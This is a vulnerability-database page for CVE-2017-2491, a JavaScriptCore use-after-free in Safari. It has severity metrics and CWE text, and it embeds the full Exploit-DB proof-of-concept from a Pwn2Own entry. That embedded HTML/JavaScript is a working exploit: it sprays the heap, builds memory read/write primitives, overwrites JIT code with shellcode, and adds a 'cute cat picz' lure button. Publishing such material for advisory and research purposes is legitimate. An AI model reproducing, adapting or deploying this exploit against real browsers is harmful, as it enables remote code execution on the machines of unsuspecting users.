CVE-2017-2491 : Detail

CVE-2017-2491

8.8
/
High
Memory Corruption
13.45%V4
Network
2017-06-27
18h00 +00:00
2017-08-15
07h57 +00:00
CVE.org
NVD
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CVE Descriptions

Use after free vulnerability in the String.replace method JavaScriptCore in Apple Safari in iOS before 10.3 allows remote attackers to execute arbitrary code via a crafted web page, or a crafted file.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-416 Use After Free
The product reuses or references memory after it has been freed. At some point afterward, the memory may be allocated again and saved in another pointer, while the original pointer references a location somewhere within the new allocation. Any operations using the original pointer are no longer valid because the memory "belongs" to the code that operates on the new pointer.

Metrics

Metrics Score Severity CVSS Vector Source
V3.0 8.8 HIGH CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Network

A vulnerability exploitable with network access means the vulnerable component is bound to the network stack and the attacker's path is through OSI layer 3 (the network layer). Such a vulnerability is often termed 'remotely exploitable' and can be thought of as an attack being exploitable one or more network hops away (e.g. across layer 3 boundaries from routers).

Attack Complexity

This metric describes the conditions beyond the attacker's control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success against the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

None

The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files to carry out an attack.

User Interaction

This metric captures the requirement for a user, other than the attacker, to participate in the successful compromise of the vulnerable component.

Required

Successful exploitation of this vulnerability requires a user to take some action before the vulnerability can be exploited. For example, a successful exploit may only be possible during the installation of an application by a system administrator.

Base: Scope Metrics

An important property captured by CVSS v3.0 is the ability for a vulnerability in one software component to impact resources beyond its means, or privileges.

Scope

Formally, Scope refers to the collection of privileges defined by a computing authority (e.g. an application, an operating system, or a sandbox environment) when granting access to computing resources (e.g. files, CPU, memory, etc). These privileges are assigned based on some method of identification and authorization. In some cases, the authorization may be simple or loosely controlled based upon predefined rules or standards. For example, in the case of Ethernet traffic sent to a network switch, the switch accepts traffic that arrives on its ports and is an authority that controls the traffic flow to other switch ports.

Unchanged

An exploited vulnerability can only affect resources managed by the same authority. In this case the vulnerable component and the impacted component are the same.

Base: Impact Metrics

The Impact metrics refer to the properties of the impacted component.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

High

There is total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

High

There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

High

There is total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence that one has in the description of a vulnerability.

Environmental Metrics

 nvd@nist.gov
V2 6.8 AV:N/AC:M/Au:N/C:P/I:P/A:P nvd@nist.gov

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
EPSS First.org

Exploit information

Exploit Database EDB-ID : 41964

Publication date : 2017-05-03 22h00 +00:00
Author : saelo & niklasb
EDB Verified : Yes

<!-- Sources: https://phoenhex.re/2017-05-04/pwn2own17-cachedcall-uaf https://github.com/phoenhex/files/blob/master/exploits/cachedcall-uaf.html Overview The WebKit bug we used at Pwn2Own is CVE-2017-2491 / ZDI-17-231, a use-after-free of a JSString object in JavaScriptCore. By triggering it, we can obtain a dangling pointer to a JSString object in a JavaScript callback. At first, the specific scenario seems very hard to exploit, but we found a rather generic technique to still get a reliable read/write primitive out of it, although it requires a very large (~28 GiB) heap spray. This is possible even on a MacBook with 8 GB of RAM thanks to the page compression mechanism in macOS. --> <script> function make_compiled_function() { function target(x) { return x*5 + x - x*x; } // Call only once so that function gets compiled with low level interpreter // but none of the optimizing JITs target(0); return target; } function pwn() { var haxs = new Array(0x100); for (var i = 0; i < 0x100; ++i) haxs[i] = new Uint8Array(0x100); // hax is surrounded by other Uint8Array instances. Thus *(&hax - 8) == 0x100, // which is the butterfly length if hax is later used as a butterfly for a // fake JSArray. var hax = haxs[0x80]; var hax2 = haxs[0x81]; var target_func = make_compiled_function(); // Small helper to avoid allocations with .set(), so we don't mess up the heap function set(p, i, a,b,c,d,e,f,g,h) { p[i+0]=a; p[i+1]=b; p[i+2]=c; p[i+3]=d; p[i+4]=e; p[i+5]=f; p[i+6]=g; p[i+7]=h; } function spray() { var res = new Uint8Array(0x7ffff000); for (var i = 0; i < 0x7ffff000; i += 0x1000) { // Write heap pattern. // We only need a structure pointer every 128 bytes, but also some of // structure fields need to be != 0 and I can't remember which, so we just // write pointers everywhere. for (var j = 0; j < 0x1000; j += 8) set(res, i + j, 0x08, 0, 0, 0x50, 0x01, 0, 0, 0); // Write the offset to the beginning of each page so we know later // with which part we overlap. var j = i+1+2*8; set(res, j, j&0xff, (j>>8)&0xff, (j>>16)&0xff, (j>>24)&0xff, 0, 0, 0xff, 0xff); } return res; } // Spray ~14 GiB worth of array buffers with our pattern. var x = [ spray(), spray(), spray(), spray(), spray(), spray(), spray(), spray(), ]; // The butterfly of our fake object will point to 0x200000001. This will always // be inside the second sprayed buffer. var buf = x[1]; // A big array to hold reference to objects we don't want to be freed. var ary = new Array(0x10000000); var cnt = 0; // Set up objects we need to trigger the bug. var n = 0x40000; var m = 10; var regex = new RegExp("(ab)".repeat(n), "g"); var part = "ab".repeat(n); var s = (part + "|").repeat(m); // Set up some views to convert pointers to doubles var convert = new ArrayBuffer(0x20); var cu = new Uint8Array(convert); var cf = new Float64Array(convert); // Construct fake JSCell header set(cu, 0, 0,0,0,0, // structure ID 8, // indexing type 0,0,0); // some more stuff we don't care about var container = { // Inline object with indebufng type 8 and butterly pointing to hax. // Later we will refer to it as fakearray. jsCellHeader: cf[0], butterfly: hax, }; while (1) { // Try to trigger bug s.replace(regex, function() { for (var i = 1; i < arguments.length-2; ++i) { if (typeof arguments[i] === 'string') { // Root all the callback arguments to force GC at some point ary[cnt++] = arguments[i]; continue; } var a = arguments[i]; // a.butterfly points to 0x200000001, which is always // inside buf, but we are not sure what the exact // offset is within it so we read a marker value. var offset = a[2]; // Compute addrof(container) + 16. We write to the fake array, then // read from a sprayed array buffer on the heap. a[2] = container; var addr = 0; for (var j = 7; j >= 0; --j) addr = addr*0x100 + buf[offset + j]; // Add 16 to get address of inline object addr += 16; // Do the inverse to get fakeobj(addr) for (var j = 0; j < 8; ++j) { buf[offset + j] = addr & 0xff; addr /= 0x100; } var fakearray = a[2]; // Re-write the vector pointer of hax to point to hax2. fakearray[2] = hax2; // At this point hax.vector points to hax2, so we can write // the vector pointer of hax2 by writing to hax[16+{0..7}] // Leak address of JSFunction a[2] = target_func; addr = 0; for (var j = 7; j >= 0; --j) addr = addr*0x100 + buf[offset + j]; // Follow a bunch of pointers to RWX location containing the // function's compiled code addr += 3*8; for (var j = 0; j < 8; ++j) { hax[16+j] = addr & 0xff; addr /= 0x100; } addr = 0; for (var j = 7; j >= 0; --j) addr = addr*0x100 + hax2[j]; addr += 3*8; for (var j = 0; j < 8; ++j) { hax[16+j] = addr & 0xff; addr /= 0x100; } addr = 0; for (var j = 7; j >= 0; --j) addr = addr*0x100 + hax2[j]; addr += 4*8; for (var j = 0; j < 8; ++j) { hax[16+j] = addr & 0xff; addr /= 0x100; } addr = 0; for (var j = 7; j >= 0; --j) addr = addr*0x100 + hax2[j]; // Write shellcode for (var j = 0; j < 8; ++j) { hax[16+j] = addr & 0xff; addr /= 0x100; } hax2[0] = 0xcc; hax2[1] = 0xcc; hax2[2] = 0xcc; // Pwn. target_func(); } return "x"; }); } } </script> <button onclick="pwn()">click here for cute cat picz!</button>

Products Mentioned

Configuraton 0

Apple>>Iphone_os >> Version To (including) 10.2.1

References

https://www.exploit-db.com/exploits/41964/
Tags : exploit, x_refsource_EXPLOIT-DB
http://www.securityfocus.com/bid/98316
Tags : vdb-entry, x_refsource_BID
The information presented on CVE Find originates from several carefully selected reference sources. CVE data is provided by MITRE Corporation and the National Vulnerability Database (NVD). The Known Exploited Vulnerabilities (KEV) catalog is sourced from the Cybersecurity and Infrastructure Security Agency (CISA), while EPSS scores come from FIRST.org. Additionally, data regarding software weaknesses (CWE) and common attack patterns (CAPEC) is maintained by MITRE Corporation, and information on hardware and software configurations (CPE) is provided by the NVD.